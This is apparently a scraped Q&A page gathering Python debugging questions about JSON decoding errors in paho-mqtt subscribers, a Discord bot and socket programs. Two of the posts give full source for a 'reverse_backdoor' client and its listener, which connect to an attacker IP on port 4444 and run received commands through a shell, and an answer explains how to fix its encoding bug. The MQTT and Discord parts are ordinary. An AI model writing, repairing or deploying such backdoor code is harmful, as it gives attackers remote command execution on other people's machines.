I am trying to get an MQTT subscriber response with a message / ack to the publisher. If I use a string it works well but when I use a simple JSON I get a crash. I can not understand what I do wrong?
def on_message(client, userdata, msg):
print(msg.topic+' '+str(msg.payload))
message = json.loads(msg.payload)
id = message['id']
if id == 'foo123':
mqttc.connect(broker,broker_port,60)
time.sleep(3)
mqttc.publish(topic, 'ACK')
client = mqtt.Client()
client.connect(broker, broker_port, 60)
client.on_connect = on_connect
client.on_message = on_message
client.loop_forever()
With this code I get following
client.loop_forever()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1779, in loop_forever
rc = self.loop(timeout, max_packets)
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1181, in loop
rc = self.loop_read(max_packets)
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 1572, in loop_read
rc = self._packet_read()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 2310, in _packet_read
rc = self._packet_handle()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 2936, in _packet_handle
return self._handle_publish()
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 3216, in _handle_publish
self._handle_on_message(message)
File "/usr/local/lib/python3.9/site-packages/paho/mqtt/client.py", line 3444, in _handle_on_message
self.on_message(self, self._userdata, message)
File "", line 22, in on_message
message = json.loads(msg.payload)
File "/usr/local/Cellar/python#3.9/3.9.0_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "/usr/local/Cellar/python#3.9/3.9.0_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/local/Cellar/python#3.9/3.9.0_1/Frameworks/Python.framework/Versions/3.9/lib/python3.9/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
What I do not understand is why it works well with a string but not with JSON. Should be the same thing?
EDIT
The problem was when the ACK string came back and it expected JSON and not a string.
def on_message(client, userdata, msg):
print(msg.topic+' '+str(msg.payload))
if msg.payload != b'ACK':
try:
message = json.loads(msg.payload)
except Exception as e:
print("Couldn't parse raw data: %s" % msg.payload, e)
id = message['id']
print(type(id))
print(id)
if id == 'foo123':
time.sleep(3)
client.publish(topic, 'ACK')
Wrap msg.payload in str()
e.g.
def on_message(client, userdata, msg):
print(msg.topic+' '+str(msg.payload))
message = json.loads(str(msg.payload))
id = message['id']
if id == 'foo123':
client.publish(topic, 'ACK')
msg.payload is a byte array not a string, and json.loads() is expecting a string.
You also should NOT be creating a new client to publish message, just use the same one that is already connected.
Related
I'm working on a Streamlit app with a real-time wordcloud dashboard. The data that will be used is from the Audio Classification app, whereas the prediction data is published in MQTTX. Now that the Audio Classification app and the MQTTX are already connected and the prediction data is already published in that client, I am having trouble getting the data from the MQTT.
Here's the code that I created for the streamlit dashboard:
import streamlit as st
import wordcloud
import matplotlib.pyplot as plt
import paho.mqtt.client as mqtt
import json
broker = 'broker.emqx.io'
port = 1883
topic = "audio_test"
client_id = 'audio_test'
username = 'emqx'
password = 'public'
def connect_mqtt() -> mqtt:
def on_connect(client, userdata, flags, rc):
if rc == 0:
print("Connected to MQTT Broker!")
else:
print("Failed to connect, return code %d\n", rc)
# Set Connecting Client ID
client = mqtt.Client(client_id)
client.username_pw_set(username, password)
client.on_connect = on_connect
client.connect(broker, port)
client.loop_start()
return client
def get_data_from_mqtt(client: mqtt):
# Callback when a message is published to the specified topic.
def on_message(client, userdata, message):
topic = message.topic
payload = json.loads(message.payload.decode('utf-8'))
time_stamp = payload['Timestamp']
category_name = payload['Classification']
score = payload['Accuracy']
st.write(f"Topic: {topic}\nTimestamp: {time_stamp}\nClassification: {category_name}\nAccuracy: {score}%")
print(f"Received message from topic '{topic}'")
client.subscribe(topic)
client.on_message = on_message
def create_wordcloud(text):
wc = wordcloud.WordCloud(width=800, height=200, max_words=200, background_color='white').generate(text)
plt.imshow(wc, interpolation='bilinear')
plt.axis('off')
plt.tight_layout(pad=0)
st.pyplot()
def main():
st.set_page_config(
page_title="Real-Time Audio Classification Dashboard",
page_icon="🎧",
layout="wide",
)
st.markdown("<h1 style='text-align: center; color: black;'>🎧 Real-Time Audio Classification Dashboard</h1>", unsafe_allow_html=True)
client = connect_mqtt()
get_data_from_mqtt(client)
client.loop_forever()
data = get_data_from_mqtt(client)
text = ' '.join([d['Classification'] for d in data])
if len(data) == 0 or text == '':
st.write("No data to display wordcloud")
else:
create_wordcloud(text)
create_wordcloud(text)
if __name__ == '__main__':
main()
Also, it doesn't print any text if the message has been received so I am assuming there's a problem with the connection between this dashboard and MQTTX
This is the error that I've encountered:
AttributeError: 'NoneType' object has no attribute 'recv'
Traceback:
File "C:\Users\mayew\Desktop\Audio Classification\venv\lib\site-packages\streamlit\runtime\scriptrunner\script_runner.py", line 565, in _run_script
exec(code, module.__dict__)
File "C:\Users\mayew\Desktop\Audio Classification\Audio-Classification\testing.py", line 73, in <module>
main()
File "C:\Users\mayew\Desktop\Audio Classification\Audio-Classification\testing.py", line 61, in main
client.loop_forever()
File "C:\Users\mayew\Desktop\Audio Classification\venv\lib\site-packages\paho\mqtt\client.py", line 1756, in loop_forever
rc = self._loop(timeout)
File "C:\Users\mayew\Desktop\Audio Classification\venv\lib\site-packages\paho\mqtt\client.py", line 1164, in _loop
rc = self.loop_read()
File "C:\Users\mayew\Desktop\Audio Classification\venv\lib\site-packages\paho\mqtt\client.py", line 1556, in loop_read
rc = self._packet_read()
File "C:\Users\mayew\Desktop\Audio Classification\venv\lib\site-packages\paho\mqtt\client.py", line 2389, in _packet_read
byte = self._sock_recv(1)
File "C:\Users\mayew\Desktop\Audio Classification\venv\lib\site-packages\paho\mqtt\client.py", line 640, in _sock_recv
return self._sock.recv(bufsize)
I started to learn video with teacher, where he use a python2. Can it be issue with my codes, cause i use python3?. I've two codes that connect each other (Listener + reverse_backdoor). I've issue with Listener, when i added JSON, my code doesn't work. Before JSON all works, but I can't use commands, for example: When I use 'dir' it shows me files in directory, and next I want to use 'cd', but I can't move in directory. This first why I want to use JSON. I want to realize function which type is 'upload, download'. Check Listener (but with JSON it don't show files for me, and break):
import socket, json
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print('[+] Waiting for incoming connections')
self.connection, address = listener.accept()
print('[+] Got a connection from ' + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode())
return self.reliable_receive()
def run(self):
while True:
command = input('>> ')
result = self.execute_remotely(command)
print(result)
my_listener = Listener('0.0.0.0', 4444)
my_listener.run()
Traceback:
Traceback (most recent call last):
File "/root/PycharmProjects/new1/listener/listener.py", line 34, in <module>
my_listener.run()
File "/root/PycharmProjects/new1/listener/listener.py", line 30, in run
result = self.execute_remotely(command)
File "/root/PycharmProjects/new1/listener/listener.py", line 24, in execute_remotely
self.reliable_send(command.encode())
File "/root/PycharmProjects/new1/listener/listener.py", line 16, in reliable_send
json_data = json.dumps(data)
File "/usr/lib/python3.9/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj)
File "/usr/lib/python3.9/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True)
File "/usr/lib/python3.9/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0)
File "/usr/lib/python3.9/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} '
TypeError: Object of type bytes is not JSON serializable
Idk if you need to reverse_backdoor, check it:
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def reliable_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command.decode('utf-8'), shell=True)
def run(self):
while True:
command = self.reliable_receive()
command_result = self.execute_system_command(command)
self.reliable_send(command_result)
connection.close()
my_backdoor = Backdoor('0.0.0.0', 4444)
my_backdoor.run()
Traceback when I use command in the Listener:
Traceback (most recent call last):
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 31, in <module>
my_backdoor.run()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 25, in run
command = self.reliable_receive()
File "C:\Users\IEUser\Downloads\reverse_backdoor.py", line 18, in reliable_receive
return json.loads(json_data)
File "C:\Python310\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Python310\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Python310\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
I am trying to publish and subscribe messages in JSON format in python with paho-mqtt.
I am able to publish messages but to subscribe to a specific key value, I am getting many errors. Could you help me find the error and also provide me a solution. I am trying to print the value of method.
code:
def subscribe(client: mqtt_client):
def on_message(client, userdata, msg):
#print(f"Received `{msg.payload}` from `{msg.topic}` topic") #.decode()
#topic = msg.topic
m_decode = str(msg.payload.decode("utf-8", "ignore"))
print("data Received type", type(m_decode))
print("data Received", m_decode)
m_in = json.loads(m_decode) # decode json data
print(type(m_in))
print("method is = ", m_decode["method"])
client.subscribe(topic_sub)
client.on_message = on_message
The error message is as below:
Traceback (most recent call last):
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 76, in <module>
run()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 73, in run
client.loop_forever()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1756, in loop_forever
rc = self._loop(timeout)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1164, in _loop
rc = self.loop_read()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 1556, in loop_read
rc = self._packet_read()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 2439, in _packet_read
rc = self._packet_handle()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3033, in _packet_handle
return self._handle_publish()
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3327, in _handle_publish
self._handle_on_message(message)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\venv\lib\site-packages\paho\mqtt\client.py", line 3570, in _handle_on_message
on_message(self, self._userdata, message)
File "C:\Users\Vinod Kumar\PycharmProjects\pythonProject\Flask\try1.py", line 35, in on_message
m_in = json.loads(m_decode) # decode json data
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\__init__.py", line 346, in loads
return _default_decoder.decode(s)
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "C:\Users\Vinod Kumar\AppData\Local\Programs\Python\Python39\lib\json\decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
I guess there is a typo in your code :)
def subscribe(client: mqtt_client):
def on_message(client, userdata, msg):
#print(f"Received `{msg.payload}` from `{msg.topic}` topic") #.decode()
#topic = msg.topic
m_decode = str(msg.payload.decode("utf-8", "ignore"))
print("data Received type", type(m_decode))
print("data Received", m_decode)
m_in = json.loads(m_decode) # decode json data
print(type(m_in))
print("method is = ", m_decode["method"]) # <-- shall be m_in["method"]
client.subscribe(topic_sub)
client.on_message = on_message
I keep on getting an error:
Traceback (most recent call last):
File "main.py", line 34, in <module>
database = json.loads(f.read())
File "/usr/lib/python3.8/json/__init__.py", line 357, in loads
return _default_decoder.decode(s)
File "/usr/lib/python3.8/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end())
File "/usr/lib/python3.8/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None
json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char 0)
Heres the code I believe is failing:
with open('db.json') as f:
database = json.loads(f.read())
I can't seem to find out whats going on, as in a website where i searched up how to get all of the text from a file, and I got the code above.
Heres the full code:
import discord
import json
client = discord.Client()
#client.event
async def on_ready():
print('We have logged in as {0.user}'.format(client))
#client.event
async def on_message(message):
cmd = message.content.split(' ')
if message.author == client.user:
return
if cmd[0] == "!login":
lusername = cmd[1]
lpassword = cmd[2]
laccountInfo = getValue('$' % lusername)
laccountInfoArray = laccountInfo.split(' ')
if laccountInfoArray[0] == lpassword:
await message.reply("Successfully logged in!")
await message.delete()
if cmd[0] == "!register":
rusername = cmd[1]
rpassword = cmd[2]
rindex = "$" % rusername
if doesKeyExist(rindex):
message.reply("An account like that already exists!")
else:
setValue(rindex, rpassword)
await message.delete()
with open('db.json') as f:
database = json.loads(f.read())
def saveDatabase():
json.dump(database, open('db.json', 'w'))
def setValue(key, value):
database[key] = value;
saveDatabase()
def getValue(key):
return database[key]
def doesKeyExist(key):
if key not in database:
return False
if key in database:
return True
client.run('')
EDIT: I'm such an idiot that I left the db.json file empty.
The db.json file looks like this now:
{
"$admin": "root"
}
Is your Json file being opened properly? I see the first error occurs on line 34 which is where the file is to be opened. I also noticed that the path (a string) does not provide any additional path information. try specifying that in similar format to below?
with open('c:\\folder1\\folder2\\db.json') as f:
database = json.loads(f.read())
i'm writing a clinet/server backdoor with python 3 and a have got error when running code
when i try to put some command on input
I got this error from client side:
Traceback (most recent call last): File "reverse_backdoor.py", line
31, in <module>
my_backdoor.run() File "reverse_backdoor.py", line 25, in run
command = self.relaible_receive() File "reverse_backdoor.py", line 18, in relaible_receive
return json.loads(json_data) File "/usr/lib/python3.7/json/__init__.py", line 348, in loads
return _default_decoder.decode(s) File "/usr/lib/python3.7/json/decoder.py", line 337, in decode
obj, end = self.raw_decode(s, idx=_w(s, 0).end()) File "/usr/lib/python3.7/json/decoder.py", line 355, in raw_decode
raise JSONDecodeError("Expecting value", s, err.value) from None json.decoder.JSONDecodeError: Expecting value: line 1 column 1 (char
0)
and i got this error from server side:
Traceback (most recent call last): File "listener.py", line 36, in
<module>
my_listener.run() File "listener.py", line 31, in run
result = self.execute_remotely(command) File "listener.py", line 25, in execute_remotely
self.reliable_send(command.encode('utf-8')) File "listener.py", line 17, in reliable_send
json_data = json.dumps(data) File "/usr/lib/python3.7/json/__init__.py", line 231, in dumps
return _default_encoder.encode(obj) File "/usr/lib/python3.7/json/encoder.py", line 199, in encode
chunks = self.iterencode(o, _one_shot=True) File "/usr/lib/python3.7/json/encoder.py", line 257, in iterencode
return _iterencode(o, 0) File "/usr/lib/python3.7/json/encoder.py", line 179, in default
raise TypeError(f'Object of type {o.__class__.__name__} ' TypeError: Object of type bytes is not JSON serializable
here is my listener:
#!/usr/bin/python
import json
import socket
class Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print("[+] Waiting for incoming connection")
self.connection, address = listener.accept()
print("[+] Got a connection from " + str(address))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_remotely(self, command):
self.reliable_send(command.encode('utf-8'))
return self.relaible_receive()
def run(self):
while True:
command = input('>>')
result = self.execute_remotely(command)
print(result)
my_listener = Listener("192.168.1.105", 4444)
my_listener.run()
And here is my backdoor:
#!/usr/bin/python
import socket
import subprocess
import json
class Backdoor:
def __init__(self, ip, port):
self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.connection.connect((ip, port))
def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)
def relaible_receive(self):
json_data = self.connection.recv(1024)
return json.loads(json_data)
def execute_system_command(self, command):
return subprocess.check_output(command, shell=True)
def run(self):
while True:
command = self.relaible_receive()
command_result = self.execute_system_command(command.decode('utf-8'))
self.reliable_send(command_result)
my_backdoor = Backdoor("192.168.1.105", 4444)
my_backdoor.run()
You're encoding before sending to json.dumps. Encode after:
>>> import json
>>> json.dumps('command'.encode('utf8'))
...
TypeError: Object of type 'bytes' is not JSON serializable
>>> json.dumps('command').encode('utf8')
b'"command"'